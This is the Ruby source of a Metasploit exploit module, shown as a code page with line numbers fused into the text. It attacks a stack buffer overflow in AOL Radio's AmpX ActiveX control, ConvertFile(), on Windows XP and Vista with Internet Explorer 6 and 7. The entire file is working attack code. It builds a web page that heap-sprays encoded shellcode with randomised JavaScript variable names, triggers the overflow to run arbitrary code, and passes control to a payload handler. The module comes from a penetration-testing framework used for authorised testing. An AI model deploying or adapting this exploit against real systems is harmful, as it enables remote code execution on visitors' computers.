Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX17class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.18By setting an overly long value to 'ConvertFile()', an attacker can overrun19a buffer and execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' => [23'rgod <rgod[at]autistici.org>', # Original exploit [see References]24'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation25],26'References' => [27[ 'OSVDB', '54706' ],28[ 'BID', '35028' ],29[ 'EDB', '8733' ],30],31'DefaultOptions' => {32'EXITFUNC' => 'process',33},34'Payload' => {35'Space' => 1024,36'BadChars' => "\x00\x09\x0a\x0d'\\",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' => [41[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]42],43'DisclosureDate' => '2009-05-19',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def autofilter55false56end5758def check_dependencies59use_zlib60end6162def on_request_uri(cli, request)63# Re-generate the payload64return if ((p = regenerate_payload(cli)) == nil)6566# Encode the shellcode67shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6869# Setup exploit buffers70nops = Rex::Text.to_unescape([target.ret].pack('V'))71ret = Rex::Text.uri_encode([target.ret].pack('L'))72blocksize = 0x4000073fillto = 50074offset = target['Offset']7576# Randomize the javascript variable names77ampx = rand_text_alpha(rand(100) + 1)78j_shellcode = rand_text_alpha(rand(100) + 1)79j_nops = rand_text_alpha(rand(100) + 1)80j_headersize = rand_text_alpha(rand(100) + 1)81j_slackspace = rand_text_alpha(rand(100) + 1)82j_fillblock = rand_text_alpha(rand(100) + 1)83j_block = rand_text_alpha(rand(100) + 1)84j_memory = rand_text_alpha(rand(100) + 1)85j_counter = rand_text_alpha(rand(30) + 2)86j_ret = rand_text_alpha(rand(100) + 1)87j_eax = rand_text_alpha(rand(100) + 1)88j_bof = rand_text_alpha(rand(100) + 1)89randnop = rand_text_alpha(rand(100) + 1)9091# Build out the message92content = %Q|93<html>94<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>95<script language='javascript'>96#{j_shellcode}=unescape('#{shellcode}');97var #{randnop} = "#{nops}";98#{j_nops}=unescape(#{randnop});99#{j_headersize}=20;100#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;101while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};102#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});103#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});104while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};105#{j_memory}=new Array();106for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};107#{j_eax}='';108for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');109#{j_ret}='';110for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');111#{j_bof}=#{j_eax}+#{j_ret};112#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);113#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);114#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);115#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);116</script>117</html>118|119120print_status("Sending #{self.name}")121122# Transmit the response to the client123send_response_html(cli, content)124125# Handle the payload126handler(cli)127end128end129130131